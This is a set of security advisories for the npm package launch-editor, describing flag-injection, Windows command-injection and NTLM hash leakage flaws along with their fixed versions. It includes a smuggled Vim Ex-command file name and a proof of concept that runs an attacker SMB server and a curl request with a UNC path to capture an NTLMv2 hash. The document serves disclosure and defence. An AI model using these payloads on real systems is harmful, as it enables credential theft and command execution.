Threats affecting pkg:npm/launch-editor

### Summary `launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution. ### Impact #### Direct `launch-editor` users Only apps that match all of the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL #### `launch-editor-middleware` users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - launch-editor older than v2.2.0 is used, or the user is using WSL #### Vite users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The user is using WSL ### Details `launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as: ``` +call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa! ``` is not treated as a filename when passed to Vim. Vim executes the embedded Ex command. The following editor has a potentially destructive operation exposed to the CLI arguments: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) `launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected. Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected.

launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.2, launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed. This vulnerability is fixed in 2.14.2.

CVE-2026-112942 is a command injection vulnerability in the vitejs launch-editor package prior to version 2.14.2. The flaw arises from improper handling of Windows file arguments containing parent-directory components and line-and-column suffixes, allowing an attacker to bypass filename existence checks. This can lead to OS command injection when combined with a related Windows percent-expansion issue. The vulnerability is fixed in version 2.14.2 and later.

### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

### Summary Due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters. ### Impact If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the `launch-editor`: - An attacker can place a file with the malicious filename - An attacker can call the `launchEditor` method with the `file` argument controlled - The `launch-editor` package is running on Windows For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable. ### Patch This issue has been fixed in the `launch-editor` version 2.9.0 ([commit](https://github.com/vitejs/launch-editor/commit/971291e8a6a91226e1616c5c0ec85423d2d50a5e)).